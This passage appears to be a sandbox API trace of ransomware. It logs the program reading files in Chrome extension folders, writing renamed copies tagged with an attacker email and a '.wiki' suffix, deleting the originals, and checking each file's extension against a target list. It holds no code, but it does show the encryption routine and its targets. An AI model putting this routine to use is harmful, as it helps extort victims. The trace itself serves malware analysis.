(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.451] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.451] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.451] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.451] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0172.451] GetLastError () returned 0x0 [0172.451] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x104, lpOverlapped=0x0) returned 1 [0172.452] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x110, lpOverlapped=0x0) returned 1 [0172.453] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0172.453] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.453] SetEndOfFile (hFile=0x19c) returned 1 [0172.453] CloseHandle (hObject=0x19c) returned 1 [0172.636] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.636] SetEndOfFile (hFile=0x1a0) returned 1 [0172.637] CloseHandle (hObject=0x1a0) returned 1 [0172.637] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.637] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json")) returned 1 [0172.638] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json") returned 151 [0172.638] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json") returned 151 [0172.638] lstrlenW (lpString=".doc") returned 4 [0172.638] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.638] lstrlenW (lpString=".docx") returned 5 [0172.638] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.638] lstrlenW (lpString=".pdf") returned 4 [0172.638] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.638] lstrlenW (lpString=".xls") returned 4 [0172.638] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.638] lstrlenW (lpString=".xlsx") returned 5 [0172.638] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.638] lstrlenW (lpString=".ppt") returned 4 [0172.638] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.638] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json") returned 151 [0172.638] lstrlenW (lpString=".zip") returned 4 [0172.638] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.638] lstrlenW (lpString=".rar") returned 4 [0172.638] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.638] lstrlenW (lpString=".bz2") returned 4 [0172.638] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.638] lstrlenW (lpString=".7z") returned 3 [0172.638] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.638] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json") returned 151 [0172.638] lstrlenW (lpString=".dbf") returned 4 [0172.638] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.638] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json") returned 151 [0172.638] lstrlenW (lpString=".1cd") returned 4 [0172.639] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.639] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json") returned 151 [0172.639] lstrlenW (lpString=".jpg") returned 4 [0172.639] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.639] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json") returned 151 [0172.639] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json") returned 151 [0172.639] lstrlenW (lpString=".doc") returned 4 [0172.639] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.639] lstrlenW (lpString=".docx") returned 5 [0172.639] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.639] lstrlenW (lpString=".pdf") returned 4 [0172.639] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.639] lstrlenW (lpString=".xls") returned 4 [0172.639] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.639] lstrlenW (lpString=".xlsx") returned 5 [0172.639] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.639] lstrlenW (lpString=".ppt") returned 4 [0172.639] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.639] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json") returned 151 [0172.639] lstrlenW (lpString=".zip") returned 4 [0172.639] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.639] lstrlenW (lpString=".rar") returned 4 [0172.639] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.639] lstrlenW (lpString=".bz2") returned 4 [0172.639] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.639] lstrlenW (lpString=".7z") returned 3 [0172.639] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.639] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json") returned 151 [0172.639] lstrlenW (lpString=".dbf") returned 4 [0172.640] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.640] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json") returned 151 [0172.640] lstrlenW (lpString=".1cd") returned 4 [0172.640] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.640] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json") returned 151 [0172.640] lstrlenW (lpString=".jpg") returned 4 [0172.640] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.640] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0172.640] lstrlenW (lpString="icon_128.png") returned 12 [0172.640] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.640] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=3213) returned 1 [0172.640] CloseHandle (hObject=0x1a0) returned 1 [0172.640] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png")) returned 0x2020 [0172.640] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.641] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.641] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.641] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.641] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0172.641] GetLastError () returned 0x0 [0172.641] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xc8d, lpOverlapped=0x0) returned 1 [0172.643] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xc90, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xc90, lpOverlapped=0x0) returned 1 [0172.643] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0172.644] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0172.644] SetEndOfFile (hFile=0x19c) returned 1 [0172.644] CloseHandle (hObject=0x19c) returned 1 [0172.644] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.644] SetEndOfFile (hFile=0x1a0) returned 1 [0172.645] CloseHandle (hObject=0x1a0) returned 1 [0172.645] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.645] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png")) returned 1 [0172.645] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png") returned 138 [0172.645] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png") returned 138 [0172.645] lstrlenW (lpString=".doc") returned 4 [0172.645] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0172.646] lstrlenW (lpString=".docx") returned 5 [0172.646] lstrcmpiW (lpString1=".docx", lpString2="8.png") returned -1 [0172.646] lstrlenW (lpString=".pdf") returned 4 [0172.646] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0172.646] lstrlenW (lpString=".xls") returned 4 [0172.646] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0172.646] lstrlenW (lpString=".xlsx") returned 5 [0172.646] lstrcmpiW (lpString1=".xlsx", lpString2="8.png") returned -1 [0172.646] lstrlenW (lpString=".ppt") returned 4 [0172.646] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0172.646] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png") returned 138 [0172.646] lstrlenW (lpString=".zip") returned 4 [0172.646] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0172.646] lstrlenW (lpString=".rar") returned 4 [0172.646] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0172.646] lstrlenW (lpString=".bz2") returned 4 [0172.646] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0172.646] lstrlenW (lpString=".7z") returned 3 [0172.646] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0172.646] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png") returned 138 [0172.646] lstrlenW (lpString=".dbf") returned 4 [0172.646] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0172.646] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png") returned 138 [0172.646] lstrlenW (lpString=".1cd") returned 4 [0172.646] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0172.646] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png") returned 138 [0172.646] lstrlenW (lpString=".jpg") returned 4 [0172.646] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0172.646] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png") returned 138 [0172.646] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png") returned 138 [0172.647] lstrlenW (lpString=".doc") returned 4 [0172.647] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0172.647] lstrlenW (lpString=".docx") returned 5 [0172.647] lstrcmpiW (lpString1=".docx", lpString2="8.png") returned -1 [0172.647] lstrlenW (lpString=".pdf") returned 4 [0172.647] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0172.647] lstrlenW (lpString=".xls") returned 4 [0172.647] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0172.647] lstrlenW (lpString=".xlsx") returned 5 [0172.647] lstrcmpiW (lpString1=".xlsx", lpString2="8.png") returned -1 [0172.647] lstrlenW (lpString=".ppt") returned 4 [0172.647] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0172.647] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png") returned 138 [0172.647] lstrlenW (lpString=".zip") returned 4 [0172.647] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0172.647] lstrlenW (lpString=".rar") returned 4 [0172.647] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0172.647] lstrlenW (lpString=".bz2") returned 4 [0172.647] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0172.647] lstrlenW (lpString=".7z") returned 3 [0172.647] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0172.647] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png") returned 138 [0172.647] lstrlenW (lpString=".dbf") returned 4 [0172.647] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0172.647] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png") returned 138 [0172.647] lstrlenW (lpString=".1cd") returned 4 [0172.647] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0172.647] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png") returned 138 [0172.647] lstrlenW (lpString=".jpg") returned 4 [0172.647] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0172.648] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0172.648] lstrlenW (lpString="icon_16.png") returned 11 [0172.648] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.648] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=143) returned 1 [0172.648] CloseHandle (hObject=0x1a0) returned 1 [0172.648] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png")) returned 0x2020 [0172.648] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.648] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.648] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.648] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.649] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0172.649] GetLastError () returned 0x0 [0172.649] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x8f, lpOverlapped=0x0) returned 1 [0172.650] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x90, lpOverlapped=0x0) returned 1 [0172.651] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0172.651] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xea, lpOverlapped=0x0) returned 1 [0172.651] SetEndOfFile (hFile=0x19c) returned 1 [0172.651] CloseHandle (hObject=0x19c) returned 1 [0172.651] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.651] SetEndOfFile (hFile=0x1a0) returned 1 [0172.652] CloseHandle (hObject=0x1a0) returned 1 [0172.652] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.652] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png")) returned 1 [0172.652] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png") returned 137 [0172.652] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 